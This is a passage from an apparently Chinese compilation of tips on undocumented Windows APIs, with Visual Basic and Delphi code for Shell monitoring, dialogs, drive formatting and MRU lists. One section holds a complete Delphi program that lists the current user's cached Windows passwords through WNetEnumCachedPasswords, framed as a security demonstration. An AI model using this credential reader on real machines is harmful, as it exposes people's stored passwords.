private const wm_ncdestroy = &h82

private const gwl_wndproc = (-4)

private const oldwndproc = "oldwndproc"

private declare function getprop lib "user32" alias "getpropa" (byval _

hwnd as long, byval lpstring as string) as long

private declare function setprop lib "user32" alias "setpropa" (byval _

hwnd as long, byval lpstring as string, byval hdata as long) as long

private declare function removeprop lib "user32" alias "removepropa" (byval _

hwnd as long, byval lpstring as string) as long

private declare function setwindowlong lib "user32" alias "setwindowlonga" _

(byval hwnd as long, byval nindex as long, byval dwnewlong as long) as long

private declare function callwindowproc lib "user32" alias "callwindowproca" _

(byval lpprevwndfunc as long, byval hwnd as long, byval umsg as long, _

byval wparam as long, byval lparam as long) as long

public function subclass(hwnd as long) as boolean

dim lpfnold as long

dim fsuccess as boolean

if (getprop(hwnd, oldwndproc) = 0) then

lpfnold = setwindowlong(hwnd, gwl_wndproc, addressof wndproc)

if lpfnold then

fsuccess = setprop(hwnd, oldwndproc, lpfnold)

end if

end if

if fsuccess then

subclass = true

else

if lpfnold then call unsubclass(hwnd)

msgbox "unable to successfully subclass &h" & hex(hwnd), vbcritical

end if

end function

public function unsubclass(hwnd as long) as boolean

dim lpfnold as long

lpfnold = getprop(hwnd, oldwndproc)

if lpfnold then

if removeprop(hwnd, oldwndproc) then

unsubclass = setwindowlong(hwnd, gwl_wndproc, lpfnold)

end if

end if

end function

public function wndproc(byval hwnd as long, byval umsg as long, byval wparam as _

long, byval lparam as long) as long

select case umsg

case wm_shnotify '处理系统消息通告函数

call form1.notificationreceipt(wparam, lparam)

case wm_ncdestroy

call unsubclass(hwnd)

msgbox "unubclassed &h" & hex(hwnd), vbcritical, "wndproc error"

end select

wndproc = callwindowproc(getprop(hwnd, oldwndproc), hwnd, umsg, wparam, lparam)

end function

保存文件，然后运行程序，然后你可以在explore中试着建立或者删除一个文件或者文件夹，在form中可以看到你所做的操作已经被纪录并且显示到textbox中了。

现在分析以下上面的程序，上面的程序首先调用shchangenotifyregister函数将form添加到系统消息通告链中，并利用setwindowlong函数改变form的缺省的消息处理函数，当接受到系统通告消息后，根据传递的参数获得系统通告的内容并且显示在文本窗口中。退出程序时调用shchangenotifyderegister函数注销系统消息通告。


密码缓存信息

通常而言，可以使用象pwltool.exe这样的工具来获取存于.pwl中的密码，但有的时候也想自己动手试一试编程的乐趣，于是拜访了pwltool.exe作者的主页， 根据其中的一些资料，使用delphi编写了一个最简易的密码缓存读取程序。注意，本程序只能读取本机当前用户的密码缓存信息。 实际上，该程序是调用了mpr.dll中未公开的WNetEnumCachedPasswords函数来取得缓存信息的。特献上此文，望众高手能挖掘更深层次的核心，以自由博爱之精神将知识共

享。

unit test;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dia

logs,

StdCtrls, shellApi;

type

PPASSWORD_CACHE_ENTRY=^TPASSWORD_CACHE_ENTRY;

TPASSWORD_CACHE_ENTRY=packed record

cbEntry: word; //password entry的字节长度

cbResource: word; //resource name的字节长度

cbPassword: word; //password的字节长度

iEntry: byte; //entry index

nType: byte; //type of entry

abResource : array[0..200] of char; //start of resource name

//password immediately follows re

source name

end;

type

TForm1 = class(TForm)

Memo1: TMemo;

Button1: TButton;

Button2: TButton;

Button3: TButton;

Button4: TButton;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure Button3Click(Sender: TObject);

procedure Button4Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

Passwordcount:integer;

buffer1: array[0..200] of char;

implementation

{$R *.DFM}

function WNetEnumCachedPasswords(para0: pointer; para1:word; para2: by

te; para3:pointer; para4: dword): word; stdcall; external 'mpr.dll' na

me 'WNetEnumCachedPasswords';

function pce(x:PPASSWORD_CACHE_ENTRY;y:dword):boolean;stdcall;

begin

passwordcount:=passwordcount+1;

move(x.abResource,buffer1,x.cbResource);

if x.cbResource<50 then

fillchar(buffer1[x.cbResource],50-x.cbResource,#32);

move(x.abResource[x.cbResource],buffer1[50],x.cbPassword);

buffer1[x.cbPassword+50]:=#0;

Form1.Memo1.Lines.Add(buffer1);

Result:=true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

passwordcount:=0;

Memo1.Lines.Clear;

Memo1.Font.Color:=clBlack;

WNetEnumCachedPasswords(nil,0,255,@pce,0);

Memo1.Lines.Add('------------------------------------------------------------');

Memo1.Lines.Add(format('当前用户共有%d个密码资源缓存',[passwordcount]));

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

passwordcount:=0;

Memo1.Lines.Clear;

Memo1.Font.Color:=clBlack;

WNetEnumCachedPasswords(nil,0,255,@pce,0);

Memo1.Lines.Add('------------------------------------------------------------');

Memo1.Lines.Add(format('当前用户共有%d个密码资源缓存',[passwordcount]));

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

Memo1.Lines.clear;

Memo1.Font.Color:=clRed;

Memo1.Lines.Add(' 我们通常允许Windows替我们把各类密码（如上网帐号，密码等）存入系统，这当然方便了我们的使用。但是，您必须知道，那些“保密”的信息其实一点也不保密。');

Memo1.Lines.Add(' 这里只使用了一个标准的Windows Api程序，就能知道您保存在机器里的大部分密码。');

Memo1.Lines.Add(' 本程序属免费性质，允许您将其任意拷贝，传播，您也可直接使用或修改其中代码。尽管已经对程序进行了测试，但我不保证您在自己的机器上运行时不发生故障。特申明：作者不对由于运行本程序而导致的任何后果负责！');

Memo1.Lines.Add(' 不管您从何种渠道取得本程序，我都要求您合法地使用本程序，如您不能做到，请立刻删除本程序，谢谢您的合作');

Memo1.Lines.Add('');

Memo1.Lines.Add(' ------ 版权所有，翻版不究；合法使用，慎防违法！------');

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

ShellExecute( Handle, 'open', 'mailto:hzcbb@163.net','','',SHOW_FULLSCREEN );

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

close;

end;

end.


如何清空回收站

如何清空回收站

Procedure EmptyRecycleBin ;

Const

SHERB_NOCONFIRMATION = $00000001 ;

SHERB_NOPROGRESSUI = $00000002 ;

SHERB_NOSOUND = $00000004 ;

Type

TSHEmptyRecycleBin = function (Wnd : HWND ;

LPCTSTR : PChar ;

DWORD : Word ) : Integer ; stdcall ;

Var

SHEmptyRecycleBin : TSHEmptyRecycleBin ;

LibHandle : THandle ;

Begin

LibHandle := LoadLibrary(PChar('Shell32.dll')) ;

If LibHandle <> 0 then

@SHEmptyRecycleBin := GetProcAddress(LibHandle, 'SHEmptyRecycleBinA')

Else

Begin

MessageDlg('Failed to load Shell32.dll.', mtError, [mbOK], 0);

Exit ;

End ;

If @SHEmptyRecycleBin <> nil then

SHEmptyRecycleBin(Application.Handle ,

'' ,

SHERB_NOCONFIRMATION or

SHERB_NOPROGRESSUI or

SHERB_NOSOUND ) ;

FreeLibrary(LibHandle);

@SHEmptyRecycleBin := nil ;

End ;


一些未公开WinNT API（NTDLL.DLL）

NTSTATUS (__stdcall *NtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress);

NTSTATUS (__stdcall *NtOpenSection)( OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);

NTSTATUS (__stdcall *NtMapViewOfSection)( IN HANDLE SectionHandle,IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN ULONG CommitSize,IN OUT PLARGE_INTEGER SectionOffset,IN OUT PULONG ViewSize,IN SECTION_INHERIT InheritDisposition,IN ULONG AllocationType,IN ULONG Protect);

VOID (__stdcall *RtlInitUnicodeString)( IN OUT PUNICODE_STRING DestinationString,IN PCWSTR SourceString);

ULONG (__stdcall *RtlNtStatusToDosError) ( IN NTSTATUS Status );

And here's what my attempt at converting:

TNTUnmapViewOfSection=function( ProcessHandle:integer;BaseAddress:PVOID):NTSTATUS; stdcall;

TNTOpenSection= function( SectionHandle:PHANDLE; DesiredAccess:ACCESS_MASK;ObjectAttributes:

POBJECT_ATTRIBUTES):NTSTATUS; stdcall;

TNTMapViewOfSection= function(SectionHandle:THandle;ProcessHandle:Integer; var BaseAddress:PVOID; ZeroBits:ULONG;CommitSize:ULONG;var SectionOffset:Large_Integer;var ViewSize:PULONG;InheritDisposition:SECTION_INHERIT;AllocationType: ULONG; Protect:ULONG):NTSTATUS; stdcall;

TRtlInitUnicodeString= procedure( var DestinationString:PUNICODE_STRING;SourceString:PWideChar); stdcall;

TRtlNtStatusToDosError=function(var Status:NTSTATUS):ULong; stdcall;


重新启动计算机对话框

function SHRestartSystemMB(h:hwnd;szPrompt:pchar;flag:dword):longint;stdcall;external 'shell32.dll' index 59;

其中

szPrompt:提示信息。

Flag:

Public Const EWX_LOGOFF = 0

Public Const EWX_SHUTDOWN = 1 ' NT: needs SE_SHUTDOWN_NAME privilege (no def prompt)

Public Const EWX_REBOOT = 2 ' NT: needs SE_SHUTDOWN_NAME privilege

Public Const EWX_FORCE = 4

Public Const EWX_POWEROFF = 8 ' NT: needs SE_SHUTDOWN_NAME privilege

Rtn vals: Yes = 6 (vbYes), No = 7 (vbNo)


刷新回收站图标
function SHUpdateRecycleBinIcon():boolean;stdcall;external 'shell32.dll' name 'SHUpdateRecycleBinIcon';


运行对话框

SHRunDialog(hwnd,0,0,title,prompt,chkNoRunMRU);

function SHRunDialog(h:hwnd;szFilename:pchar;rev:dword;iconIndex:integer):longint;stdcall;external 'shell32.dll' index 61;

{ This code uses the undocumented RunFileDlg function to show the "run" dialog }

// For Win NT

procedure RunFileDlgW(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PWideChar;

lpstrTitle: PWideChar; lpstrDescription: PWideChar; Flags: Longint); stdcall;

external 'Shell32.dll' Index 61;

// For Win 9x (Win NT to show standard captions )

procedure RunFileDlg(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PChar;

lpstrTitle: PChar; lpstrDescription: PChar; Flags: Longint); stdcall;

external 'Shell32.dll' Index 61;

const

RFF_NOBROWSE = 1; //Removes the browse button.

RFF_NODEFAULT = 2; // No default item selected.

RFF_CALCDIRECTORY = 4; // Calculates the working directory from the file name.

RFF_NOLABEL = 8; // Removes the edit box label.

RFF_NOSEPARATEMEM = 14; // Removes the Separate Memory Space check box (Windows NT only).

function ShowRunFileDialg(OwnerWnd: HWND; InitialDir, Title, Description: PChar;

flags: Integer; StandardCaptions: Boolean): Boolean;

var

HideBrowseButton: Boolean;

TitleWideChar, InitialDirWideChar, DescriptionWideChar: PWideChar;

Size: Integer;

begin

if (Win32Platform = VER_PLATFORM_WIN32_NT) and not StandardCaptions then

begin

Size := SizeOf(WideChar) * MAX_PATH;

InitialDirWideChar := nil;

TitleWideChar := nil;

DescriptionWideChar := nil;

GetMem(InitialDirWideChar, Size);

GetMem(TitleWideChar, Size);

GetMem(DescriptionWideChar, Size);

StringToWideChar(InitialDir, InitialDirWideChar, MAX_PATH);

StringToWideChar(Title, TitleWideChar, MAX_PATH);

StringToWideChar(Description, DescriptionWideChar, MAX_PATH);

try

RunFileDlgW(OwnerWnd, 0, InitialDirWideChar, TitleWideChar, DescriptionWideChar, Flags);

finally

FreeMem(InitialDirWideChar);

FreeMem(TitleWideChar);

FreeMem(DescriptionWideChar);

end;

end else

RunFileDlg(OwnerWnd, 0, PChar(InitialDir), PChar(Title), PChar(Description), Flags);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowRunFileDialg(FindWindow('Shell_TrayWnd', nil), nil, nil, nil, RFF_NOBROWSE, True);

end;


格式化磁盘

There is an API hidden away in Shell32.dll called SHFormatDrive, this brings up the standard format removable drive dialog. I stumbled across this in the borland.public.delphi.winapi newsgroup.

{implementation section}

..

..

const

SHFMT_ID_DEFAULT = $FFFF;

// Formating options

SHFMT_OPT_QUICKFORMAT = $0000;

SHFMT_OPT_FULL = $0001;

SHFMT_OPT_SYSONLY = $0002;

// Error codes

SHFMT_ERROR = $FFFFFFFF;

SHFMT_CANCEL = $FFFFFFFE;

SHFMT_NOFORMAT = $FFFFFFFD;

function SHFormatDrive(Handle: HWND; Drive, ID, Options: Word): LongInt;

stdcall; external 'shell32.dll' name 'SHFormatDrive'

procedure TForm1.btnFormatDiskClick(Sender: TObject);

var

retCode: LongInt;

begin

retCode:=SHFormatDrive(Handle, 0, SHFMT_ID_DEFAULT,SHFMT_OPT_QUICKFORMAT);

if retCode < 0 then

ShowMessage('Could not format drive');

end;

end.

也可以用下面的方法调用：

procedure TForm1.Button1Click(Sender: TObject);

begin

ShellExecute(Application.Handle,

PChar('Open'),

PChar('C:.exe'),

PChar('Shell32.dll,SHFormatDrive'),

PChar('C:'),

SW_SHOWNORMAL);

end;


利用未公开函数实现Shell操作监视

利用未公开函数实现Shell操作监视 wwwa.applevb.com

在Windows下有一个未公开函数SHChangeNotifyRegister可以吧你的窗口添加到系统的系统消息监视链中，该函数在Delphi

中的定义如下：

Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;

lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;

其中参数hWnd定义了监视系统操作的窗口得句柄，参数uFlags dwEventID定义监视操作参数，参数uMsg定义操作消息，参数cItems

定义附加参数，参数lpps指定一个PIDLSTRUCT结构，该结构指定监视的目录。

当函数调用成功之后，函数会返回一个监视操作句柄，同时系统就会将hWnd指定的窗口加入到操作监视链中，当有文件操作发生

时，系统会向hWnd发送uMsg指定的消息，我们只要在程序中加入该消息的处理函数就可以实现对系统操作的监视了。

如果要退出程序监视，就要调用另外一个未公开得函数SHChangeNotifyDeregister来取消程序监视。

下面是使用Delphi编写的具体程序实现范例，首先建立一个新的工程文件，然后在Form1中加入一个Button控件和一个Memo控件，

程序的代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,shlobj,Activex;

const

SHCNE_RENAMEITEM = $1;

SHCNE_CREATE = $2;

SHCNE_DELETE = $4;

SHCNE_MKDIR = $8;

SHCNE_RMDIR = $10;

SHCNE_MEDIAINSERTED = $20;

SHCNE_MEDIAREMOVED = $40;

SHCNE_DRIVEREMOVED = $80;

SHCNE_DRIVEADD = $100;

SHCNE_NETSHARE = $200;

SHCNE_NETUNSHARE = $400;

SHCNE_ATTRIBUTES = $800;

SHCNE_UPDATEDIR = $1000;

SHCNE_UPDATEITEM = $2000;

SHCNE_SERVERDISCONNECT = $4000;

SHCNE_UPDATEIMAGE = $8000;

SHCNE_DRIVEADDGUI = $10000;

SHCNE_RENAMEFOLDER = $20000;

SHCNE_FREESPACE = $40000;

SHCNE_ASSOCCHANGED = $8000000;

SHCNE_DISKEVENTS = $2381F;

SHCNE_GLOBALEVENTS = $C0581E0;

SHCNE_ALLEVENTS = $7FFFFFFF;

SHCNE_INTERRUPT = $80000000;

SHCNF_IDLIST = 0; // LPITEMIDLIST

SHCNF_PATHA = $1; // path name

SHCNF_PRINTERA = $2; // printer friendly name

SHCNF_DWORD = $3; // DWORD

SHCNF_PATHW = $5; // path name

SHCNF_PRINTERW = $6; // printer friendly name

SHCNF_TYPE = $FF;

SHCNF_FLUSH = $1000;

SHCNF_FLUSHNOWAIT = $2000;

SHCNF_PATH = SHCNF_PATHW;

SHCNF_PRINTER = SHCNF_PRINTERW;

WM_SHNOTIFY = $401;

NOERROR = 0;

type

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure WMShellReg(var Message:TMessage);message WM_SHNOTIFY;

public

{ Public declarations }

end;

type PSHNOTIFYSTRUCT=^SHNOTIFYSTRUCT;

SHNOTIFYSTRUCT = record

dwItem1 : PItemIDList;

dwItem2 : PItemIDList;

end;

Type PSHFileInfoByte=^SHFileInfoByte;

_SHFileInfoByte = record

hIcon :Integer;

iIcon :Integer;

dwAttributes : Integer;

szDisplayName : array [0..259] of char;

szTypeName : array [0..79] of char;

end;

SHFileInfoByte=_SHFileInfoByte;

Type PIDLSTRUCT = ^IDLSTRUCT;

_IDLSTRUCT = record

pidl : PItemIDList;

bWatchSubFolders : Integer;

end;

IDLSTRUCT =_IDLSTRUCT;

function SHNotify_Register(hWnd : Integer) : Bool;

function SHNotify_UnRegister:Bool;

function SHEventName(strPath1,strPath2:string;lParam:Integer):string;

Function SHChangeNotifyDeregister(hNotify:integer):integer;stdcall;

external 'Shell32.dll' index 4;

Function SHChangeNotifyRegister(hWnd,uFlags,dwEventID,uMSG,cItems:LongWord;

lpps:PIDLSTRUCT):integer;stdcall;external 'Shell32.dll' index 2;

Function SHGetFileInfoPidl(pidl : PItemIDList;

dwFileAttributes : Integer;

psfib : PSHFILEINFOBYTE;

cbFileInfo : Integer;

uFlags : Integer):Integer;stdcall;

external 'Shell32.dll' name 'SHGetFileInfoA';

var

Form1: TForm1;

m_hSHNotify:Integer;

m_pidlDesktop : PItemIDList;

implementation

{$R *.DFM}

function SHEventName(strPath1,strPath2:string;lParam:Integer):string;

var

sEvent:String;

begin

case lParam of file://根据参数设置提示消息

SHCNE_RENAMEITEM: sEvent := '重命名文件'+strPath1+'为'+strpath2;

SHCNE_CREATE: sEvent := '建立文件 文件名：'+strPath1;

SHCNE_DELETE: sEvent := '删除文件 文件名：'+strPath1;

SHCNE_MKDIR: sEvent := '新建目录 目录名：'+strPath1;

SHCNE_RMDIR: sEvent := '删除目录 目录名：'+strPath1;

SHCNE_MEDIAINSERTED: sEvent := strPath1+'中插入可移动存储介质';

SHCNE_MEDIAREMOVED: sEvent := strPath1+'中移去可移动存储介质'+strPath1+' '+strpath2;

SHCNE_DRIVEREMOVED: sEvent := '移去驱动器'+strPath1;

SHCNE_DRIVEADD: sEvent := '添加驱动器'+strPath1;

SHCNE_NETSHARE: sEvent := '改变目录'+strPath1+'的共享属性';

SHCNE_ATTRIBUTES: sEvent := '改变文件目录属性 文件名'+strPath1;

SHCNE_UPDATEDIR: sEvent := '更新目录'+strPath1;

SHCNE_UPDATEITEM: sEvent := '更新文件 文件名：'+strPath1;

SHCNE_SERVERDISCONNECT: sEvent := '断开与服务器的连接'+strPath1+' '+strpath2;

SHCNE_UPDATEIMAGE: sEvent := 'SHCNE_UPDATEIMAGE';

SHCNE_DRIVEADDGUI: sEvent := 'SHCNE_DRIVEADDGUI';

SHCNE_RENAMEFOLDER: sEvent := '重命名文件夹'+strPath1+'为'+strpath2;

SHCNE_FREESPACE: sEvent := '磁盘空间大小改变';

SHCNE_ASSOCCHANGED: sEvent := '改变文件关联';

else

sEvent:='未知操作'+IntToStr(lParam);

end;

Result:=sEvent;

end;

function SHNotify_Register(hWnd : Integer) : Bool;

var

ps:PIDLSTRUCT;

begin

{$R-}

Result:=False;

If m_hSHNotify = 0 then begin

file://获取桌面文件夹的Pidl

if SHGetSpecialFolderLocation(0, CSIDL_DESKTOP,

m_pidlDesktop)<> NOERROR then

Form1.close;

if Boolean(m_pidlDesktop) then begin

ps.bWatchSubFolders := 1;

ps.pidl := m_pidlDesktop;

// 利用SHChangeNotifyRegister函数注册系统消息处理

m_hSHNotify := SHChangeNotifyRegister(hWnd, (SHCNF_TYPE Or SHCNF_IDLIST),

(SHCNE_ALLEVENTS Or SHCNE_INTERRUPT),

WM_SHNOTIFY, 1, ps);

Result := Boolean(m_hSHNotify);

end

Else

// 如果出现错误就使用 CoTaskMemFree函数来释放句柄

CoTaskMemFree(m_pidlDesktop);

End;

{$R+}

end;

function SHNotify_UnRegister:Bool;

begin

Result:=False;

If Boolean(m_hSHNotify) Then

file://取消系统消息监视，同时释放桌面的Pidl

If Boolean(SHChangeNotifyDeregister(m_hSHNotify)) Then begin

{$R-}

m_hSHNotify := 0;

CoTaskMemFree(m_pidlDesktop);

Result := True;

{$R-}

End;

end;

procedure TForm1.WMShellReg(var Message:TMessage); file://系统消息处理函数

var

strPath1,strPath2:String;

charPath:array[0..259]of char;

pidlItem:PSHNOTIFYSTRUCT;

begin

pidlItem:=PSHNOTIFYSTRUCT(Message.wParam);

file://获得系统消息相关得路径

SHGetPathFromIDList(pidlItem.dwItem1,charPath);

strPath1:=charPath;

SHGetPathFromIDList(pidlItem.dwItem2,charPath);

strPath2:=charPath;

Memo1.Lines.Add(SHEvEntName(strPath1,strPath2,Message.lParam)+chr(13)+chr(10));

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

file://在程序退出的同时删除监视

if Boolean(m_pidlDesktop) then

SHNotify_Unregister;

end;

procedure TForm1.Button1Click(Sender: TObject); file://Button1的Click消息

begin

m_hSHNotify:=0;

if SHNotify_Register(Form1.Handle) then begin file://注册Shell监视

ShowMessage('Shell监视程序成功注册');

Button1.Enabled := False;

end

else

ShowMessage('Shell监视程序注册失败');

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Button1.Caption := '打开监视';

end;

end.

运行程序，点击“打开监视”按钮，如果出现一个显示“Shell监视程序成功注册”的对话框，说明Form1已经加入到系统操作监视链中了，

你可以试着在资源管理器中建立、删除文件夹，移动文件等操作，你可以发现这些操作都被纪录下来并显示在文本框中。

在上面的程序中多次使用到了一个PItemIDList的结构，这个数据结构指定Windows下得一个“项目”，在Windows下资源实现统一管理

一个“项目”可以是一个文件或者一个文件夹，也可以是一个打印机等资源。另外一些API函数也涉及到了Shell(Windows外壳)操作，各位

读者可以参考相应的参考资料。


查找计算机对话框

function SHFindFiles(pidlRoot: PItemIDList; pidlSavedSearch: PItemIDList): Boolean;

stdcall; external 'Shell32.dll' index 90;

function SHFindComputer(pidlRoot: PItemIDList; pidlSavedSearch: PItemIDList): Boolean;

stdcall; external 'Shell32.dll' index 91;

*******************

//用的是98，不知道95上行不行。

unit RunDialog;

{**********************************************************}

{ }

{ TRunDialog Unit }

{ Copyright ?999 Workshell Software. }

{ }

{ Version 1.0 }

{ }

{ }

{ Web -> http://www.workshell.uni.cc/ }

{ E - Mail -> rundlg@kinsella.u-net.com }

{ }

{**********************************************************}

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

TRunDialog = class(TComponent)

private

{ Private declarations }

FDescription: String;

FHideBrowseButton: Boolean;

FIcon: TIcon;

FInitialDir: String;

FTitle: String;

procedure SetDescription(Value: String);

procedure SetHideBrowseButton(Value: Boolean);

procedure SetIcon(Value: TIcon);

procedure SetInitialDir(Value: String);

procedure SetTitle(Value: String);

protected

{ Protected declarations }

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

public

{ Public declarations }

procedure Execute;

published

{ Published declarations }

property Description: String read FDescription write SetDescription;

property HideBrowseButton: Boolean read FHideBrowseButton write SetHideBrowseButton;

property Icon: TIcon read FIcon write SetIcon;

property InitialDir: String read FInitialDir write SetInitialDir;

property Title: String read FTitle write SetTitle;

end;

var

Flags: LongInt = 0;

const

RFF_NOBROWSE = 1;

procedure Register;

implementation

procedure RunFileDlgA(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PAnsiChar;

lpstrTitle: PAnsiChar; lpstrDescription: PAnsiChar; Flags: LongInt); stdcall;

external 'Shell32.dll' index 61;

constructor TRunDialog.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FIcon := TIcon.Create;

end;

destructor TRunDialog.Destroy;

begin

FIcon.Free;

inherited Destroy;

end;

procedure TRunDialog.Execute;

begin

if FHideBrowseButton = True then

begin

Flags := Flags or RFF_NOBROWSE;

end;

RunFileDlgA(0,FIcon.Handle,PChar(FInitialDir),PChar(FTitle),PChar(FDescription),Flags);

end;

procedure TRunDialog.SetDescription(Value: String);

begin

if Value <> FDescription then

begin

FDescription := Value;

end;

end;

procedure TRunDialog.SetHideBrowseButton(Value: Boolean);

begin

if Value <> FHideBrowseButton then

begin

FHideBrowseButton := Value;

end;

end;

procedure TRunDialog.SetIcon(Value: TIcon);

begin

if Value <> FIcon then

begin

FIcon.Assign(Value);

end;

end;

procedure TRunDialog.SetInitialDir(Value: String);

begin

if Value <> FInitialDir then

begin

FInitialDir := Value;

end;

end;

procedure TRunDialog.SetTitle(Value: String);

begin

if Value <> FTitle then

begin

FTitle := Value;

end;

end;

procedure Register;

begin

RegisterComponents('Dialogs', [TRunDialog]);

end;

end.

unit FindDialogs;

{**********************************************************}

{ }

{ TFindFilesDialog & TFindComputerDialog Unit }

{ Copyright ?999 Workshell Software. }

{ }

{ Version 1.0 }

{ }

{ }

{ Web -> http://www.workshell.uni.cc/ }

{ E - Mail -> finddlgs@kinsella.u-net.com }

{ }

{**********************************************************}

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ShlObj;

type

TFindFilesDialog = class(TComponent)

private

{ Private declarations }

protected

{ Protected declarations }

public

{ Public declarations }

function Execute: Boolean;

function ExecuteEx(pidlRoot, pidlSavedSearch: PItemIDList): Boolean;

published

{ Published declarations }

end;

type

TFindComputerDialog = class(TComponent)

private

{ Private declarations }

protected

{ Protected declarations }

public

{ Public declarations }

function Execute: Boolean;

function ExecuteEx(pidlRoot, pidlSavedSearch: PItemIDList): Boolean;

published

{ Published declarations }

end;

procedure Register;

implementation

function SHFindFiles(pidlRoot: PItemIDList; pidlSavedSearch: PItemIDList): Boolean;

stdcall; external 'Shell32.dll' index 90;

function SHFindComputer(pidlRoot: PItemIDList; pidlSavedSearch: PItemIDList): Boolean;

stdcall; external 'Shell32.dll' index 91;

function TFindFilesDialog.Execute: Boolean;

begin

Result := SHFindFiles(nil,nil);

end;

function TFindFilesDialog.ExecuteEx(pidlRoot, pidlSavedSearch: PItemIDList): Boolean;

begin

Result := SHFindFiles(pidlRoot,pidlSavedSearch);

end;

function TFindComputerDialog.Execute: Boolean;

begin

Result := SHFindComputer(nil,nil);

end;

function TFindComputerDialog.ExecuteEx(pidlRoot, pidlSavedSearch: PItemIDList): Boolean;

begin

Result := SHFindComputer(pidlRoot,pidlSavedSearch);

end;

procedure Register;

begin

RegisterComponents('Dialogs', [TFindFilesDialog,TFindComputerDialog]);

end;

end.


未公开的API集

MRU Lists Function:

The functions are all exported from COMCTL32.DLL and, as you've no doubt come to expect, they're all exported by ordinal.

The Registry Format

Windows 95 MRU lists are stored in the registry as a set of values gathered together under a single key. Each item in the list is represented by a separate registry value. The value names are all single characters, using the letters 'a' to 'z', and '{', '|' and '}' (the following three characters in the ascii table). Obviously that means there can't be more than 29 items in a list.

There is also a value named 'MRUList' which represents the order of the items in the list. It is just a string

containing the various item names in the correct order(remember the names are all single characters).

Creating a List

typedef struct {

DWORD cbSize;

DWORD nMaxItems;

DWORD dwFlags;

HKEY hKey;

LPCSTR lpszSubKey;

PROC lpfnCompare;

} CREATEMRULIST;

MRUF_STRING_LIST 0 //list items are stored in the registry as string values

MRUF_BINARY_LIST 1 //items are stored as binary data

MRUF_DELAYED_SAVE 2 //the order data is only saved when the list handle is finally freed

HANDLE WINAPI CreateMRUList(LPCCREATEMRULIST lpCreateInfo);index 151

void WINAPI FreeMRUList(HANDLE hList); index 152

int CALLBACK MRUCompareString(LPCSTR lpszString1, LPCSTR lpszString2); //MRUF_STRING_LIST

int CALLBACK MRUCompareData(LPCVOID lpData1,LPCVOID lpData2, DWORD cbData); //MRUF_BINARY_LIST

For string lists, the comparison function should accept two LPCSTR parameters (the two strings to be compared). For binary lists, the comparison function should accept three parameters - two LPCVOID parameters (the data for

the two items) and a DWORD specifying the number of bytes to compare.

Adding Items

You can add an item to the list using the AddMRUString

function or the AddMRUData function (the function decla-

rations are shown in Figure 5). AddMRUString passes the

new item in as a string. AddMRUData passes the item in

as a chunk of binary data - you specify a

pointer to a buffer and the number of bytes

in the buffer.

If the item being added already exists, it

isn't added again - its position is just moved

to the front of the list order. If the list is full,

the least recently used item in the list is rep-

laced with the new item. The return value is

a number corresponding to the registry

name where the item is stored. 0 corres-

ponds with the 'a' value, 1 corresponds with 'b', etc. If there was an error adding the item, the function

returns -1.

The ordinal values for AddMRUString and Add-

MRUData are 153 and 167 respectively.

int WINAPI AddMRUString(

HANDLE hList,

LPCSTR lpszString);

int WINAPI AddMRUData(

HANDLE hList,

LPCVOID lpData,

DWORD cbData);

Figure 5 Add Functions

Removing Items

To remove an item from an MRU list, you can use the Del-

MRUString function (see Figure 6), passing it the position in

the list of the item you wish to remove (0 specifies the most

recently used item - this is not the same as the return value

from the AddMRUxxx functions). DelMRUString can also

be used for removing items from binary lists - there isn't a

corresponding DelMRUData function, al-

though you could easily #define an alias

for the sake of consistency.

Unfortunately, that isn't the end of the

story. Due to a bug in the DelMRUString

implementation, if you attempt to add a new item to the list after removing an item, you may end up

corrupting memory or causing your application to crash. To

work around this, you should always close the list and

reopen it again before you attempt any other operations on

the list.

DelMRUString returns TRUE if the item was removed

successfully. If the specified position is out of range, the

return value is FALSE. The ordinal value is 156.

BOOL WINAPI DelMRUString(

HANDLE hList,

int nItemPos);

Figure 6 Delete Function

Searching the List

If you need to search for a particular item

in the list, you should use the functions

FindMRUString and FindMRUData (the

function declarations can be seen in Figure

8). Much like the AddMRUxxx functions,

FindMRUString specifies the item as a

string and FindMRUData passes it in as

binary data in a buffer.

The return value is the position in the

list order, 0 being the most recently used

item. You can also determine the registry

int WINAPI FindMRUString(

HANDLE hList,

LPCSTR lpszString,

LPINT lpRegNum);

int WINAPI FindMRUData(

HANDLE hList,

LPCVOID lpData,

DWORD cbData,

LPINT lpRegNum);

Figure 8 Find Functions

value where the item is stored by specifying a non-null

value for the lpdwRegNum pointer. It will be filled in with a

number corresponding to the item's registry name (this is

the same as the value returned by the AddMRUxxx

functions).

If the item could not be found, or there was some other

error, the functions will return -1. The ordinal values for

FindMRUString and FindMRUData are 155 and 169 res-

pectively.

Windows NT and Unicode Strings

Unlike most undocumented functions, you don't have to

